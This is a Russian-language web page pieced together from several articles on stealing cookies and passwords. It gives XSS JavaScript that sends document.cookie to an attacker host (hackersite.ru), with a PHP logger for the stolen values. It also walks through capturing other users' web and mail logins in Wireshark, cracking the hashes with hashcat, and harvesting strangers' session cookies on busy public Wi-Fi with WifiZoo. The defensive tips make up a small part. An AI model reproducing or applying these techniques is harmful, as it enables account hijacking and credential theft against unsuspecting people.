Методы похищения файлов cookie. Методы похищения файлов cookie Скачать программу для кражи куки

  • 23.06.2020

Cookies (куки) — информация в виде текстового файла, сохраняемая на компьютере пользователя веб-сайтом. Содержит данные об аутентификации (логин/пароль, ID, номер телефона, адрес почтового ящика), пользовательские настройки, статус доступа. Хранится в профиле браузера.

Взлом куки — это кража (или «угон») сессии посетителя веб-ресурса. Закрытая информация становится доступной не только отправителю и получателю, но и ещё третьему лицу — человеку осуществившему перехват.

Инструменты и методы взлома куки

У компьютерных воров, как и у их коллег в реале, помимо навыков, сноровки и знаний, конечно же, есть и свой инструментарий — своеобразный арсенал отмычек и щупов. Ознакомимся с наиболее популярными хитростями хакеров, которые они применяют для выуживания куки у обывателей сети Интернет.

Снифферы

Специальные программы для отслеживания и анализа сетевого трафика. Их название происходит от английского глагола «sniff» (нюхать), т.к. в буквальном смысле слова «вынюхивают» передаваемые пакеты между узлами.

А вот злоумышленники при помощи сниффера перехватывают сессионые данные, сообщения и другую конфиденциальную информацию. Объектом их атак становятся в основном незащищённые сети, где куки пересылаются в открытой HTTP-сессии, то есть практически не шифруются. (Наиболее уязвимы в этом плане публичные Wi-Fi.)

Для внедрения сниффера в интернет-канал между узлом пользователя и веб-сервером используются следующие методы:

  • «прослушивание» сетевых интерфейсов (хабов, свитчей);
  • ответвление и копирование трафика;
  • подключение в разрыв сетевого канала;
  • анализ посредством специальных атак, перенаправляющих трафик жертвы на сниффер (MAC-spoofing, IP-spoofing).

Аббревиатура XSS означает Cross Site Scripting — межсайтовый скриптинг. Применяется для атаки на веб-сайты с целью похищения данных пользователя.

Принцип действия XSS заключается в следующем:

  • злоумышленник внедряет вредоносный код (специальный замаскированный скрипт) на веб-страницу сайта, форума либо в сообщение (например, при переписке в соцсети);
  • жертва заходит на инфицированную страницу и активирует установленный код на своём ПК (кликает, переходит по ссылке и т.д.);
  • в свою очередь приведённый в действие зловредный код «извлекает» конфиденциальные данные пользователя из браузера (в частности, куки) и отправляет их на веб-сервер злоумышленника.

Для того, чтобы «вживить» программный XSS-механизм, хакеры используют всевозможные уязвимости в веб-серверах, онлайн-сервисах и браузерах.

Все XSS-уязвимости разделяются на два типа:

  • Пассивные . Атака получается методом запроса к конкретному скрипту веб-страницы. Вредоносный код может вводиться в различные формы на веб-странице (например, в строку поиска по сайту). Наиболее подвержены пассивному XSS ресурсы, на которых отсутствует при поступлении данных фильтрация HTML-тегов;
  • Активные . Находятся непосредственно на сервере. И приводятся в действие в браузере жертвы. Активно используются мошенниками во всевозможных блогах, чатах и новостных лентах.

Хакеры тщательно «камуфлируют» свои XSS-скрипты, чтобы жертва ничего не заподозрила. Меняют расширение файлов, выдают код за картинку, мотивируют пройти по ссылке, привлекают интересным контентом. В итоге: пользователь ПК, не совладавший с собственным любопытством, своей же рукой (кликом мышки) отправляет куки сессии (с логином и паролем!) автору XSS-скрипта — компьютерному злодею.

Подмена куки

Все куки сохраняются и отправляются на веб-сервер (с которого они «пришли») без каких-либо изменений — в первозданном виде — с такими же значениями, строками и другими данными. Умышленная модификация их параметров называется подменна куки. Другими словами говоря, при подмене куки злоумышленник выдаёт желаемое за действительное. Например, при осуществлении платежа в интернет-магазине, в куки изменяется сумма оплаты в меньшую сторону — таким образом происходит «экономия» на покупках.

Украденные куки сессии в соцсети с чужого аккаунта «подкладываются» в другую сессию и на другом ПК. Владелец украденных кук получает полный доступ к аккаунту жертвы (переписка, контент, настройки страницы) до тех пор пока, она будет находится на своей странице.

«Редактирование» кук осуществляется при помощи:

  • функции «Управление cookies... » в браузере Opera;
  • аддонов Cookies Manager и Advanced Cookie Manager для FireFox;
  • утилиты IECookiesView (только для Internet Explorer);
  • текстового редактора типа AkelPad, NotePad или блокнота Windows.

Физический доступ к данным

Очень простая схема по реализации, состоит из нескольких шагов. Но действенна лишь в том случае, если компьютер жертвы с открытой сессией, например Вконтакте, оставлен без присмотра (и достаточно надолго!):

  1. В адресную строку браузера вводится функция javascript, отображающая все сохранённые куки.
  2. После нажатия «ENTER» они все появляются на странице.
  3. Куки копируются, сохраняются в файл, а затем переносятся на флешку.
  4. На другом ПК осуществляется подмена куки в новой сессии.
  5. Открывается доступ к аккаунту жертвы.

Как правило, хакеры используют вышеперечисленные инструменты (+ другие) как в комплексе (поскольку уровень защиты на многих веб-ресурсах достаточно высок), так и по отдельности (когда пользователи проявляют чрезмерную наивность).

XSS + сниффер

  1. Создаётся XSS-скрипт, в котором указывается адрес сниффера-онлайн (собственного изготовления либо конкретного сервиса).
  2. Вредоносный код сохраняется с расширением.img (формат картинки).
  3. Затем этот файл загружается на страницу сайта, в чат, либо в личное сообщение — туда, где будет осуществляться атака.
  4. Привлекается внимание пользователя к созданной «ловушке» (здесь в силу уже вступает социальная инженерия).
  5. Если «ловушка» срабатывает, куки из браузера жертвы перехватываются сниффером.
  6. Взломщик открывает логи сниффера и извлекает похищенные куки.
  7. Далее выполняет подмену для получения прав владельца аккаунта посредством вышеперечисленных инструментов.

Защита cookies от взлома

  1. Пользоваться шифрованным соединением (с использованием соответствующих протоколов, и методов обеспечения ).
  2. Не реагировать на сомнительные ссылки, картинки, заманчивые предложения ознакомиться с «новым бесплатным ПО». В особенности от незнакомых людей.
  3. Пользоваться только доверенными веб-ресурсами.
  4. Завершать авторизированную сессию, нажатием кнопки «Выход» (а не просто закрывать вкладку!). Особенно, если вход в аккаунт выполнялся не с личного компьютера, а, например, с ПК в интернет-кафе.
  5. Не пользоваться функцией браузера «Сохранить пароль». Сохраняемые регистрационные данные повышают риск кражи в разы. Не стоит лениться, не стоит жалеть нескольких минут времени на ввод пароля и логина в начале каждой сессии.
  6. После веб-сёрфинга — посещения соцсетей, форумов, чатов, сайтов — удалять сохранённые куки и очищать кэш браузера.
  7. Регулярно обновлять браузеры и антивирусное ПО.
  8. Пользоваться браузерными расширениями, защищающими от XSS-атак (например, NoScript для FF и Google Chrome).
  9. Периодически в аккаунтах.

И самое главное — не теряйте бдительность и внимание во время отдыха или работы в Интернете!

Что такое же cookie?

Существует механизм, позволяющий http-серверу сохранять на компьютере пользователя некоторую текстовую информацию, а потом к ней обращаться. Данная информация называется cookie. По сути, каждая cookie - это пара: название параметра и его значение. Также каждой cookie присваивается домен, к которому она относится. В целях безопасности во всех браузерах http-серверу позволено лишь обращаться к cookie своего домена. Дополнительно cookie может иметь дату истечения, тогда они будут хранится на компьютере до этой даты, даже если закрыть все окна браузера.


Почему cookie важны?

Во всех многопользовательских системах cookie используются для идентификации пользователя. Вернее, текущего соединения пользователя с сервисом, пользовательской сессии. Если кто-то узнает Ваши cookie, то сможет зайти в систему от Вашего имени. Потому, что в настоящий момент очень мало интернет-ресурсов проверяет смену IP-адреса в течении одной пользовательской сессии.


Как изменить или подменить cookie?

Разработчики браузеров не предоставляют встроенных средств для редактирования cookie. Но можно обойтись и обычным блокнотом (notepad).


Шаг 1: создаем текстовый файл с текстом

Windows Registry Editor Version 5.00



@="C:\\IE_ext.htm"

Сохраняем его под именем IE_ext.reg

Шаг 2: С помощью созданного файла добавляем изменения в реестр Windows.

Шаг 3: создаем текстовый файл с текстом

< script language ="javascript">
external.menuArguments.clipboardData.setData("Text" , external.menuArguments.document.cookie);

external.menuArguments.document.cookie= "testname=testvalue; path=/; domain=testdomain.ru" ;
alert(external.menuArguments.document.cookie);


Сохраняем его под именем C:\IE_ext.htm

Шаг 4: Заходим на интересующий нас интернет-сайт.

Шаг 5: Правой кнопкой мыши кликам на свободном месте странице и выбираем пункт меню «Работа с Cookies» . Разрешаем доступ к буферу обмена. В буфер обмена попадут Ваши cookie данного сайт. Можете вставить их блокнот (notepad) и посмотреть.


Шаг 6: Для изменения некоторого cookie редактируем файл C:\IE_ext.htm, заменяя testname на имя cookie, testvalue - на его значение, testdomain.ru – на домен сайта. При необходимости добавляем еще подобные строчки. Для удобства контроля я добавил в скрипт вывод текущих cookie до и после изменения: alert(external.menuArguments.document.cookie);

Шаг 7: Выполняем еще раз Шаг 5, а потом обновляем страницу.

Итог: мы зайдем на данный интернет-ресурс с обновленными cookie.

Как украсть cookie с помощью JavaScript?

Если злоумышленнику удалось найти возможность выполнить произвольный JavaScript-скрипт на компьютере жертвы, то прочитать текущие cookie он может очень легко. Пример:


var str= document.cookie;

Но сможет ли он их передать на свой сайт, ведь, как я указывал ранее, JavaScript-скрипт не сможет без дополнительного подтверждения обратиться к сайту, находящемуся в другом домене? Оказывается, JavaScript-скрипт может загрузить любую картинку, находящуюся на любом http-сервере. При этом передать любую текстовую информацию в запросе на загрузку этой картинке. Пример: http://hackersite.ru/xss.jpg?text_info Поэтому если выполнить такой код:

var img=new Image();

img.src="http://hackersite.ru/xss.jpg?" + encodeURI(document.cookie);


то cookie окажутся в запросе на загрузку «картинки» и «уйдут» к злоумышленнику.

Как обрабатывать такие запросы на загрузку «картинки»?

Злоумышленнику нужно лишь найти хостинг с поддержкой php и разместить там код подобный такому:

$uid=urldecode($_SERVER["QUERY_STRING"]);
$fp=fopen("log.txt","a");
fputs($fp,"$uid\n");
fclose($fp);
?>

Тогда все параметры запросов к этому скрипту будут сохраняться в файле log.txt . Осталось лишь в ранее описанном JavaScript-скрипте заменить http://hackersite.ru/xss.jpg на путь к данному php-скрипту.


Итог

Я показал лишь самый простой способ использования XSS-уязвимостей. Но это доказывает, что наличие хотя бы одной такой уязвимостей на многопользовательском интернет-сайте может позволяет злоумышленнику пользоваться его ресурсами от Вашего имени.

Замечали ли Вы, что возвращаясь на сайт, который Вы когда-то уже посещали, что сайт узнаёт Вас и открывается с настройками, которые Вы в прошлый раз применили? Да, и довольно часто? Это происходит благодаря файлам cookies, которые хранят о посетителях такую информацию, как логин, пароль, идентификатор сессии и прочие переменные, требуемые для идентификации посетителя и отображения контента страницы согласно предпочтений пользователя, выбранных им при прошлом посещении ресурса. Программа WebCookiesSniffer покажет пользователю файлы куки и их содержание сайтов, которые просматриваются пользователем в браузере.

Просмотр файлов Cookies

Вы открываете сайт, а WebCookiesSniffer осуществляет захват файлов cookies в режиме реального времени. Все пойманные куки утилита добавляет в таблицу, в которой хранятся данные о хосте, пути запроса, общей длине файла куки, количестве переменных в файле куки и собственно сама Cookie-строка с названиями переменных и значений. Собранную информацию о cookies файлах WebCookiesSniffer может сохранить в текстовый файл. Также в программе есть возможность сформировать HTML-отчет по всем или по выбранным файлам cookies. Для работы программы необходимо установить драйвер WinPcap (лежит в архиве вместе с WebCookiesSniffer). Чтобы язык программы WebCookiesSniffer стал русским, скопируйте в каталог с утилитой файл WebCookiesSniffer_lng.ini (также вложен в архив).

Скриншоты программы WebCookiesSniffer



Многие пользователи и не догадываются, что заполняя логин и пароль при регистрации или авторизации на закрытом Интернет-ресурсе и нажимая ENTER, эти данные легко могут перехватить. Очень часто они передаются по сети не в защищенном виде. Поэтому если сайт, на котором вы пытаетесь авторизоваться, использует HTTP протокол, то очень просто выполнить захват этого трафика, проанализировать его с помощью Wireshark и далее с помощью специальных фильтров и программ найти и расшифровать пароль.

Лучшее место для перехвата паролей - ядро сети, где ходит трафик всех пользователей к закрытым ресурсам (например, почта) или перед маршрутизатором для выхода в Интернет, при регистрациях на внешних ресурсах. Настраиваем зеркало и мы готовы почувствовать себя хакером.

Шаг 1. Устанавливаем и запускаем Wireshark для захвата трафика

Иногда для этого достаточно выбрать только интерфейс, через который мы планируем захват трафика, и нажать кнопку Start. В нашем случае делаем захват по беспроводной сети.

Захват трафика начался.

Шаг 2. Фильтрация захваченного POST трафика

Открываем браузер и пытаемся авторизоваться на каком-либо ресурсе с помощью логина и пароля. По завершению процесса авторизации и открытия сайта мы останавливаем захват трафика в Wireshark. Далее открываем анализатор протоколов и видим большое количество пакетов. Именно на этом этапе большинство ИТ-специалистов сдаются, так как не знают, что делать дальше. Но мы знаем и нас интересуют конкретные пакеты, которые содержат POST данные, которые формируются на нашей локальной машине при заполнении формы на экране и отправляются на удаленные сервер при нажатии кнопки «Вход» или «Авторизация» в браузере.

Вводим в окне специальный фильтр для отображения захваченных пакетов: http. request. method == “ POST”

И видим вместо тысячи пакетов, всего один с искомыми нами данными.

Шаг 3. Находим логин и пароль пользователя

Быстрый клик правой кнопки мыши и выбираем из меню пункт Follow TCP Steam


После этого в новом окне появится текст, который в коде восстанавливает содержимое страницы. Найдем поля «password» и «user», которые соответствуют паролю и имени пользователя. В некоторых случаях оба поля будут легко читаемы и даже не зашифрованы, но если мы пытаемся захватить трафик при обращении к очень известным ресурсам типа: Mail.ru, Facebook, Вконтакте и т.д., то пароль будет закодирован:

HTTP/1.1 302 Found

Server: Apache/2.2.15 (CentOS)

X-Powered-By: PHP/5.3.3

P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"

Set-Cookie: password=; expires=Thu, 07-Nov-2024 23:52:21 GMT; path=/

Location: loggedin.php

Content-Length: 0

Connection: close

Content-Type: text/html; charset=UTF-8

Таким образом, в нашем случае:

Имя пользователя: networkguru

Пароль:

Шаг 4. Определение типа кодирования для расшифровки пароля

Заходим, например, на сайт http://www.onlinehashcrack.com/hash-identification.php#res и вводим наш пароль в окно для идентификации. Мне выдан был список протоколов кодирования в порядке приоритета:

Шаг 5. Расшифровка пароля пользователя

На данном этапе можем воспользоваться утилитой hashcat:

~# hashcat -m 0 -a 0 /root/wireshark-hash.lf /root/rockyou.txt

На выходе мы получили расшифрованным пароль: simplepassword

Таким образом, с помощью Wireshark мы можем не только решать проблемы в работе приложений и сервисов, но и также попробовать себя в роли хакера, осуществляя перехват паролей, которые пользователи вводят в веб-формах. Также можно узнавать и пароли к почтовым ящикам пользователей, используя незатейливые фильтры для отображения:

  • Протокол POP и фильтр выглядит следующим образом: pop.request.command == "USER" || pop.request.command == "PASS"
  • Протокол IMAP и фильтр будет: imap.request contains "login"
  • Протокол SMTP и потребуется ввод следующего фильтра: smtp.req.command == "AUTH"

и более серьезные утилиты для расшифровки протокола кодирования.

Шаг 6. Что делать, если трафик зашифрован и используется HTTPS?

Для ответа на этот вопрос есть несколько вариантов.

Вариант 1. Подключиться в разрыв соединения между пользователем и сервером и захватить трафик в момент установления соединения (SSL Handshake). В момент установки соединения можно перехватить сеансовый ключ.

Вариант 2. Вы можете расшифровать трафик HTTPS, используя файл журнала сеансовых ключей, записываемый Firefox или Chrome. Для этого браузер должен быть настроен на запись этих ключей шифрования в файл журнала (пример на базе FireFox), и вы должны получить этот файл журнала. По сути, необходимо похитить файл с ключом сессии с жесткого диска другого пользователя (что является незаконным). Ну а далее захватить трафик и применить полученный ключ для его расшифровки.

Уточнение. Мы говорим о веб-браузере человека, у которого пытаются украсть пароль. Если же мы подразумеваем расшифровку нашего собственного HTTPS трафика и хотим потренироваться, то эта стратегия будет работать. Если вы пытаетесь расшифровать HTTPS трафик других пользователей без доступа к их компьютерам, это не сработает - на то оно и шифрование, и личное пространство.

После получения ключей по варианту 1 или 2 необходимо прописать их в WireShark:

  1. Идем в меню Edit - Preferences - Protocols - SSL.
  2. Ставим флаг «Reassemble SSL records spanning multiple TCP segments».
  3. «RSA keys list» и нажимаем Edit.
  4. Вводим данные во все поля и прописываем путь в файлу с ключом

Здраствуйте, эту небольшую статью, скорее даже краткое описание я бы хотел посвятить самому простому способу перехвата cookies файлов в wi-fi сети. Что такое cookies и зачем они нужны, я здесь рассказывать небуду, если человек задался идеей перехвата "выпечки"; в беспроводной сети, я думаю он должен знать, что это такое и зачем ему это надо. Скажу лишь одно, с помощью этих файлов можно получить доступ к чужим аккаунтам на различных сайтах, требующих от пользователей прохождения процесса аутентификации (Например mail.ru, vkontakte.ru и т.д.).

Итак приступим. Для начала нам нужно найти саму беспроводную сеть, с открытым шлюзом доступа в интернет, и желательно, чтобы у данной сети было достаточно много клиентов. Например, подойдет любая сеть в крупных торговых центрах, аэропортах, различных кофейнях, в таких местах люди обычно пользуются wi-fi доступом в интернет, для чтения почты, проверки аккаунтов на различных сайтах знакомств, просмотр жж и всевозможных форумов. Это все, как раз то, что нам и нужно. Определившись с выбором местоположения сети, изучив определенные часы максимального количества клиентов, перейдем непосредственно к боевым действиям. Для этого нам понадобиться ноутбук, с wi-fi адаптером, и определенным набором программ. В моем случае, я пользовался ноутбуком Acer Aspire 3610, клиентской wi-fi карточкой D-Link DWL G650 и установленной ОС BackTrack3.

Я советую вам использовать данную ОС, так как в нее уже включен весь набор программ который может понадобиться, и самое главное достоинство, то, что вам не обязательно ставить Backtrack на ваш жесткий диск, эту ОС вы можете загружать непосредственно с cd-диска или flash накопителя.

Теперь перейдем к необходимому програмному обеспечению. Я использовал kismet для обнаружение сетей, и WifiZoo, для перехвата cookies. Остановлюсь подробно на второй программе. WifiZoo является пассивным сканером эфира и собирает довольно много полезной информации, такую как: pop3, smtp traffic, http cookies/authinfo, msn, ftp credentials, telnet network traffic, nbt, и т.д. Единственный недостаток этой программы это отсутсвие режима Channel hopping, WifiZoo просто прослушивает беспроводной интерфейс, и не может, если можно так выразиться прыгать с канала на канал. Но этот недостаток компенсируется с помощью другой программы, Kismet, которая поддерживает этот режим. Для запуска WifiZoo вам понадобиться:

  • python
  • scapy
  • Kismet

Итак запускаем программу, для начала запустим Kismet, для поддержки режима channel hopping, далее запускаем непосредственно WifiZoo, перед вами должно появиться вот такое окно:

Теперь осталось только сидеть и ждать пока вы чтонибудь перехватите, все что перехватывает программа можно найти в логах, которые находятся в директории с программой /logs/. Так же вы можете запустить GUI интерфейс, который автоматически поднимается на http по адрессу 127.0.0.1:8000

Писать про все особенности этой замечательной программы я не буду, думаю вы сами разберетесь в остальных возможностях, и так как в данный момент нас интересуют только cookies. Кликаем по ссылке с надписью cookies и смотрим, что же мы перехватили: